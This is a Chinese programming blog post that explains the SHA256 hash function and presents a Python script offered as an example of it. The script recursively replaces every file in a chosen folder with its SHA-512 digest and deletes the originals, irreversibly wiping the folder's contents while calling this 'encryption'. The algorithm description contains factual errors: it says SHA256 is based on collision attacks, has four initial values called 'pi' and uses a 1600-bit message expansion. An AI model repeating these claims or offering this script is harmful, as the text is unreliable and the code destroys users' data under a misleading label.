首页 > 编程语言 >【Python SHA256 摘要算法】

【Python SHA256 摘要算法】

时间:2024-08-16 13:27:08浏览次数:21  
标签:加密 Python 摘要 算法 file path folder SHA256

SHA256 是一种广泛使用的密码散列函数,用于生成数据的唯一指纹,即散列值。它属于SHA-2家族,该家族还包括 SHA-384SHA-512 算法。SHA256 算法在许多领域都有应用,例如:

  1. 数据完整性验证:用于验证数据在传输或存储过程中是否被篡改。例如,在下载软件时,通常会提供软件的 SHA256 哈希值,用户下载后可以计算本地文件的哈希值并与提供的进行比较,如果相同,则说明数据完整未被篡改。
  2. 数字签名:与数字证书结合,确保消息的来源和完整性。
  3. 密码存储:在存储用户密码时,通常不会直接存储明文密码,而是存储密码的 SHA256 哈希值。当用户登录时,再次计算输入密码的哈

SHA256 算法原理

SHA256 算法基于一种称为碰撞攻击的原理,即试图找到两个不同的输入值,它们产生相同的散列值。SHA256 算法通过以下步骤生成散列值:

  1. 预处理: 将输入数据填充到 512 位的块中,并添加一个 64 位的长度字段。
  2. 初始化哈希值: 定义一个 256 位的初始哈希值,称为“工作变量”。
  3. 处理每个块: 将数据块分成 512 位的块,并对每个块进行以下步骤:
    • 初始值: 定义四个 32 位的初始值,称为“圆周率”。
    • 消息扩展: 将 512 位的数据块扩展为 1600 位的消息扩展。
    • 压缩函数: 使用压缩函数对消息扩展和初始值进行 64 轮迭代,生成新的哈希值。
  4. 输出: 将最终哈希值输出为 256 位的散列值。

SHA256 算法特点

  • 不可逆: 无法从散列值反推出原始数据。
  • 抗碰撞: 很难找到两个不同的输入值,它们产生相同的散列值。
  • 固定长度: 生成固定长度的散列值,即 256 位。
  • 高效: 计算速度快,适用于处理大量数据。

SHA256 算法应用示例

  • 密码学: 生成文件或消息的散列值,用于验证数据的完整性。
  • 数字签名: 使用私钥对消息的散列值进行签名,使用公钥可以验证签名的有效性。
  • 数据完整性: 验证数据是否在传输过程中被篡改,例如在区块链中验证交易。
  • 数据加密: 与其他算法结合,例如对称加密算法,用于加密数据。
  • 哈希表: 用于快速查找数据,例如在数据库中查找数据。

Python实现SHA256算法代码

import os
import hashlib
from tkinter import filedialog
import tkinter as tk

def encrypt_file(file_path):
    # 读取文件内容
    with open(file_path, 'rb') as file:
        content = file.read()

    # 使用SHA-512算法进行加密
    encrypted_content = hashlib.sha512(content).digest()

    # 修改文件后缀名为".goto4"
    new_file_path = file_path + '.goto4'

    # 覆盖源文件
    with open(new_file_path, 'wb') as file:
        file.write(encrypted_content)

        # 删除原文件
        os.remove(file_path)

def encrypt_folder(folder_path):
    # 遍历文件夹中的所有文件和子文件夹
    for root, dirs, files in os.walk(folder_path):
        for file in files:
            file_path = os.path.join(root, file)
            encrypt_file(file_path)

def select_folder():
    root = tk.Tk()
    root.iconbitmap('mp4/favicon.ico')
    root.withdraw()  # 隐藏主窗口
    folder_path = filedialog.askdirectory()
    if folder_path:
        encrypt_folder(folder_path)
        print("加密完成!")
    else:
        print("未选择文件夹")

if __name__ == '__main__':
    select_folder()

代码分析

该程序用于对指定文件夹及其子文件夹中的所有文件进行加密。加密采用 SHA-512 算法,并将加密后的文件覆盖原文件,同时删除原文件,修改文件后缀名为 .goto4

代码原理

  1. 程序首先定义了一个 encrypt_file 函数,用于读取文件的二进制内容,使用 SHA-512 算法对内容进行加密,生成加密后的内容。然后创建一个新的文件路径,将加密后的内容写入新文件,最后删除原文件。
  2. 接着定义了 encrypt_folder 函数,通过 os.walk 遍历指定文件夹及其子文件夹中的所有文件,对每个文件调用 encrypt_file 函数进行加密处理。
  3. select_folder 函数使用 tkinterfiledialog 模块获取用户选择的文件夹路径,如果获取到有效的文件夹路径,则调用 encrypt_folder 函数进行加密处理,否则提示未选择文件夹。
  4. if __name__ == '__main__': 部分,调用 select_folder 函数启动整个程序。

程序运行演示

请注意,摘要算法不是加密算法,一旦计算就是无法回头,没有“解密”一说

运行前
在这里插入图片描述
在这里插入图片描述
(留意一下文件大小)
运行后
在这里插入图片描述

在这里插入图片描述

可以看到,文件的大小都变成了1KB,都是无法回头的。。。

标签:加密,Python,摘要,算法,file,path,folder,SHA256
From: https://blog.csdn.net/weixin_45498884/article/details/141039854

相关文章

  • 使用Python创建省份城市地图选择器
    在这篇博客中,我们将探讨如何使用Python创建一个简单而实用的省份城市地图选择器。这个项目不仅能帮助我们学习Python的基础知识,还能让我们了解如何处理JSON数据和集成网页浏览器到桌面应用程序中。C:\pythoncode\new\geographicgooglemap.py全部代码importwximportwx.......
  • 【Python-办公自动化】1秒提取PPT文本内容形成目录保存至WORD
    欢迎来到"花花ShowPython",一名热爱编程和分享知识的技术博主。在这里,我将与您一同探索Python的奥秘,分享编程技巧、项目实践和学习心得。无论您是编程新手还是资深开发者,都能在这里找到有价值的信息和灵感。自我介绍:我热衷于将复杂的技术概念以简单易懂的方式呈现给大家,......
  • 【Python-办公自动化】几分钟生成上万份合同(用此思路可以用于写作固定格式的文章)
    欢迎来到"花花ShowPython",一名热爱编程和分享知识的技术博主。在这里,我将与您一同探索Python的奥秘,分享编程技巧、项目实践和学习心得。无论您是编程新手还是资深开发者,都能在这里找到有价值的信息和灵感。自我介绍:我热衷于将复杂的技术概念以简单易懂的方式呈现给大家,......
  • SSM-国外鞋服代购平台-97782(免费领源码+开发文档)可做计算机毕业设计JAVA、PHP、爬虫、
    SSM国外鞋服代购平台摘 要随着科学技术的飞速发展,社会的方方面面、各行各业都在努力与现代的先进技术接轨,通过科技手段来提高自身的优势,鞋服代购平台当然也不例外。代购平台是以实际运用为开发背景,运用软件工程原理和开发方法,采用Java技术构建的一个管理系统。整个开发过......
  • 使用magicAPI对接python 文件,上传参数获取不到回参问题
    1、在python文件中,创建post请求 @app.route('/post_endpoint',methods=['POST'])defhandle_post_request():#从请求中获取JSON数据data=request.form#打印接收到的数据(可选,用于调试)print(data)returnjsonify(data),200 这个方法,是得到form-data返回的参......
  • Python格式化字符串大全
    Python提供了多种方式来格式化字符串,以下是主要的几种方法,我会用一个新的例子来展示它们的用法。假设我们有三个变量name,age,和city,我们想要打印一句话:“Hello,mynameisAlice,Iam30yearsoldandIliveinNewYork.”%操作符这是较早的格式化方法,又称为格式化字符......
  • 小学生教你微积分,用编程理解高数(python,C,C++)
    一、代码实现微分(实际上是导数,微分不用除dx):python代码:x=0dx=0.00001deff(x):y=2*xreturnyprint((f(x+dx)-f(x))/dx)C语言代码:#include<stdio.h>doublex=1;doubledx=0.00001;doublef(doublearg){doubley=2*arg;returny;}......
  • Python - SOLID Principles
    •Singleresponsibilityprinciple(SRP)•Open-closedprinciple(OCP)Itemphasizesthatsoftwareentities, suchasclassesandmodules,shouldbeopenforextensionbutclosedformodification.Whatdoes thatmean?Itmeansthatonceasoftwareentityis......
  • python 利用高德得到地址对应的经伟度,由于地址原因在指定时间范围内得不到经伟度而终
    importrequests,sysimportjson,math,xlrd,xlwt,time#!/usr/bin/envpython#-*-coding:utf-8-*-frommathimportsin,asin,cos,radians,fabs,sqrtimportpandasaspdfromgeopy.distanceimportgeodesicfromopenpyxlimportload_workbookimportred......
  • 计算机毕业设计必看必学!! 93494基于springboot 书店信息管理系统,原创定制程序, java
    摘 要书店信息管理系统采用B/S结构、java开发语言、以及Mysql数据库等技术。系统主要分为管理员和用户两部分,管理员管理主要功能包括:首页、轮播图、公告栏、资源管理(图书资讯、资讯分类)交流管理(留言板、留言板分类)系统用户(管理员、顾客用户)模块管理(图书信息、分类管理、购......